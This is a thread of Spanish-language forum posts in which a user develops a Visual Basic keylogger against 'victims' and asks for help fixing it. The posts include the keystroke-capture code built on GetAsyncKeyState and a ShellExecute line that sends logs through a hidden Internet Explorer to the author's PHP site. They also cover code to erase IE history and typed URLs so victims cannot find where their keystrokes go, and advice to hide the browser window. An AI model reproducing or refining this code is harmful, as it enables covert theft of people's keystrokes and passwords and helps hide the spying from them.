Mensajes

hola... de nuevo con mis problemas...
Ahora es el siguiente!.

quiero hacer que kuando text1 tenga mas de 2000 letras abra un internet explorer y mande la informacion a una pagina.
pero no se pke no funciona... si borra el contenido de text1, pero no se abre el programa, un compañero me dijo que era pke el script era inestable... es cierto esto?

Aki les dejo el codigo

Código [Seleccionar] Expandir


Private Sub Timer2_Timer()
If Len(Text1) >= 2000 Then
Call ShellExecute(hwnd, "Open", ("iexplore.exe"), "http://www.misitio.com/update.php?datos=" & Text1, vbNullString, 0)
Text1 = ""
End If
End Sub


NOTA: La inestabilidad se presenta a partir del valor 999, a partir de ese valor a veces se ejecuta a veces no...
eso si, en el 2500 no se ejecuta! xD
en el 1500 es donde a veces si, a veces no.


Esto se solucionaria si uso otra kosa que no sea "ShellExecute"??????
o seguiria siendo inestable?...

Algun consejillo porfavor

oh... me interesa eso de reducir el kodigo al maximoOo!.

selec case dices???
Ok, buskare acerka de esoOo!.

Gracias!...

si me ha tokado ver lo que dice yeikos... Gracias como kiera polux, probare con el 125...

Tmb me he dado cuenta que se empieza a descomponer el log despues de abrir algun programa pesado...

Esto lo note en los logs de mis victimas, cuando abrian un juego.
....
que puedo hacer?

hola... posteo pke tengo un gran problema... uno que ya me esta volviendo lokoOo!.

desde hace tiempo empeze un proyectillo para hacer un keylogger lo mas perfecto posible... despues de varias semanas, me doy por vencidoOo!.

El keylogger manda los logs via http a mi sitio php, pero algo okurre dentro del keylogger que los logs llegan mal!, llegan con palabras cortadas, algo asi:

knda

Donde kisieron decir "que Onda"
Jejeje.

en
dhuoe e madba ar

No se que kisieron decir! jajajaja...

mi keylogger no esta basado en Hooks, no los uso pke no los comprendo muy bien... y pke al mandar los logs por medio del iexplore no puedo meter simbolos  raros como "&" "/" "%" y otroOos por el estiloOo!
entonces uso
"GetAsyncKeyState"

y por ejemplo para llamar las teclas uso esto:

Código [Seleccionar] Expandir


For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
   If GetKeyState(VK_CAPITAL) > 0 Then
   Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   End If
  Else
   If GetKeyState(VK_CAPITAL) > 0 Then
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   End If
  End If
       
End If
Next

For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  Else
  Text1 = Text1 & Chr(i)
  Exit Sub
  End If
 
End If
Next

For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i - 100)
  Exit Sub

  Else
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  End If
 
End If
Next

For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  End If
 
End If
Next

For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
   
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
End If
Next

If GetAsyncKeyState(8) = -32767 Then
TypeWindow
If (Right(Text1, 1) = " ") Then GoTo nod
tip = Len(Text1) - 1
  Text1 = Left(Text1, tip)
nod:
End If

If GetAsyncKeyState(9) = -32767 Then
TypeWindow
  Text1 = Text1 & "[Tab]"
End If

If GetAsyncKeyState(13) = -32767 Then
  Text1 = Text1 & "<br>"
End If

If GetAsyncKeyState(17) = -32767 Then
  Text1 = Text1 & "[Ctrl]"
End If

  If GetAsyncKeyState(18) = -32767 Then
  Text1 = Text1 & "[Alt]"
End If

  If GetAsyncKeyState(19) = -32767 Then
  Text1 = Text1 & "[Pausa]"
End If

If GetAsyncKeyState(20) = -32767 Then
  Text1 = Text1 & "[Mayús]"
End If
 
If GetAsyncKeyState(27) = -32767 Then
  Text1 = Text1 & "[Esc]"
End If

If GetAsyncKeyState(32) = -32767 Then
  Text1 = Text1 & " "
End If

  If GetAsyncKeyState(37) = -32767 Then
  Text1 = Text1 & "[<-]"
End If

If GetAsyncKeyState(38) = -32767 Then
  Text1 = Text1 & "[Up]"
End If

If GetAsyncKeyState(39) = -32767 Then
  Text1 = Text1 & "[->]"
End If

  If GetAsyncKeyState(40) = -32767 Then
  Text1 = Text1 & "[Down]"
End If

If GetAsyncKeyState(44) = -32767 Then
  Text1 = Text1 & "[Print]"
  End If
 
   If GetAsyncKeyState(91) = -32767 Then
  Text1 = Text1 & "[Win]"
End If
 
If GetAsyncKeyState(92) = -32767 Then
  Text1 = Text1 & "[Win]"
End If

   If GetAsyncKeyState(93) = -32767 Then
  Text1 = Text1 & "[Pps]"
End If

  If GetAsyncKeyState(112) = -32767 Then
  Text1 = Text1 & "[F1]"
  End If
 
  If GetAsyncKeyState(113) = -32767 Then
  Text1 = Text1 & "[F2]"
  End If
 
   If GetAsyncKeyState(114) = -32767 Then
  Text1 = Text1 & "[F3]"
  End If
 
   If GetAsyncKeyState(115) = -32767 Then
  Text1 = Text1 & "[F4]"
  End If
 
    If GetAsyncKeyState(116) = -32767 Then
  Text1 = Text1 & "[F5]"
  End If
 
    If GetAsyncKeyState(117) = -32767 Then
  Text1 = Text1 & "[F6]"
  End If

   If GetAsyncKeyState(118) = -32767 Then
  Text1 = Text1 & "[F7]"
  End If
 
    If GetAsyncKeyState(119) = -32767 Then
  Text1 = Text1 & "[F8]"
  End If
 
   If GetAsyncKeyState(120) = -32767 Then
  Text1 = Text1 & "[F9]"
  End If
 
   If GetAsyncKeyState(121) = -32767 Then
  Text1 = Text1 & "[F10]"
  End If
 
   If GetAsyncKeyState(122) = -32767 Then
  Text1 = Text1 & "[F11]"
  End If
   
  If GetAsyncKeyState(123) = -32767 Then
  Text1 = Text1 & "[F12]"
  End If
 
  If GetAsyncKeyState(145) = -32767 Then
  Text1 = Text1 & "[Desp]"
  End If
 
  If GetAsyncKeyState(144) = -32767 Then
  Text1 = Text1 & "[Num]"
  End If

For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
Text1 = Text1 & ChangeChr(i)
End If
Next

For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
Text1 = Text1 & ChangeChr(i)
End If
Next

End Sub


Mi teoria es que... al ser tanto kodigoOo el programa no tiene tiempo de revisar que tecla es, y en el intento de la buskeda se pierde de la tecla siguiente...
Estoy bien?
Existe algun metodo para hacer mas pekeño este kodigoOo?

o algun consejillo por ahi?

Gracias!
Espero su respuesta >.<

Hola, encontre un codigo en un programa de Planet-Source para borrar el historial, lo curioso es que en mi pc funciona, pero no se que es lo que haceeeeeeeeeeeeeeee!.
Primero, intente copiar el codigo y ponerlo en un form nuevo, con su modulo (PKE TRAE MODULO TMB) y no jaloOo!.
Pero si lo hago en el proyecto original me doy cuenta de que ahi si jala!.

Me die cuenta tambien de que viene un archivo extra, pero que el proyecto no lo menciona!, o por lo menos yo no lo veoOo!, creo que esa es la clave para que funcione, el archivo se llama "URLHIST.tlb" <--- que DEMONIOS ES ESO? jejejeje.

El codigo en el proyecto es muy corto, es el siguiente.

-----------------------------------------------------------------------
Primero declaramos esto:

Dim History As CURLHistory
------------------------------------------------
y en cualquier parte de nuestro codigo, ya sea un commandbutton ponemos:

Set History = New CURLHistory
    History.Clear
------------------------------

Ahora, el modulo obviamente debe llamarse CURLHistory
y dentro del modulo viene este codigo, yo lo reduje pke venian otras cosas que no me servian:

Option Explicit
Dim m_History As UrlHistory
Public Sub Clear()
    m_History.ClearHistory
End Sub
Private Sub Class_Initialize()
    Set m_History = New UrlHistory
End Sub
Private Sub Class_Terminate()
    Set m_History = Nothing
End Sub

-----------------------------------------
Ahora, si en esa misma carpeta no tienes el archivo que mencione anteriormente llamado
"URLHIST.tlb" este codigo no funcionara!, dira "Can't find Proyect or library",
y con letritas amarillas en la parte:
"Dim m_History As UrlHistory"

Es entonces donde me preguntoOo....
que kontiene el archivo URLHIST.tlb????

Como es que estan ligados el proyecto con el archivo URLHIST.tlb???, sera acaso por un Reference?

Ahora... que es lo que hace magico a este codigo? jajaja, que hace realmente? Como es que logra borrar el historial?????????
Eso si, el iexplore tiene que estar cerrado para hacerlo.

y tambien.... Al compilarlo es necesario tener el archivo URLHIST.tlb?
Esto de borrar el historial es para una especie de keylogger, aun en pruebas, pero me pregunto si mi victima tiene que tener el archivo URLHIST.tlb en alguna carpeta para que se borre si historial.

Alguien con inteligencia superior puede ayudarme a descifrar el codigo? que yo no le encuentro logica, no se que hace!
jajajaja, porfavor, el que sepa.... Una ayudita  

Jajajaja, lo sientoOo! en realidad si he encontrado muchas cosas y de hecho he aprendido muchoOo!, pero me desespera el que solo me falte estoOo! para poder terminar el keylogger! xD, y otra cosa que creo que acabo de descubrir (OSEA que YO NO SABIA!) es que... para que funcione ese kodigo de borrar en el registro el TypedURL el iexplore necesita estar cerradoOo!, y si mi keylogger cierra constantemente el iexplore se vera algo extraño y la persona sospechara que algo anda mal en su pc.

pero muchas gracias por su aportacioOon!. seguire buscandoOo!.

de kasualidad existe otro metodo? Lo que pasa es que ese solo borra las url typeadas... y quiero que se borre el historial completo >.< xD jejeje, pido muchoOo! 

Pero si alguien sabe algoOo! porfavor le pido k postee, ya que no encuentro nada por ningun rumboOo! Jejejeje.

Saludos

Jajaja, ese es el metodo que uso para mi keylogger .
se debe poner al ultimo Vbhide para que no se vea

perfectoOo! esto era justo lo que buscaba! esa clave ya la habia visto en otra parte, pero no me habia fijado que era en HKCU! xDDDDDDDDDD GraciaaS!!!!!!!

hola, estoy programando un keylogger que manda los logs por el iexplore, para hacerlo indetectable a los firewalls, pero tengo una duda... saben como puedo borrar el historial de iexplore desde una funcion en el VB? se puede hacer esto?
Necesito borrar el historial kada 3 horas ya que pueden descubrir a donde se mandan los logs... y que TIENEN UN KEYLOGGER! y entonces haran hasta lo imposible por kitarselo y ya no sera indetectable xD jejejeje.

Si alguien sabe algo por favor le pido que lo postee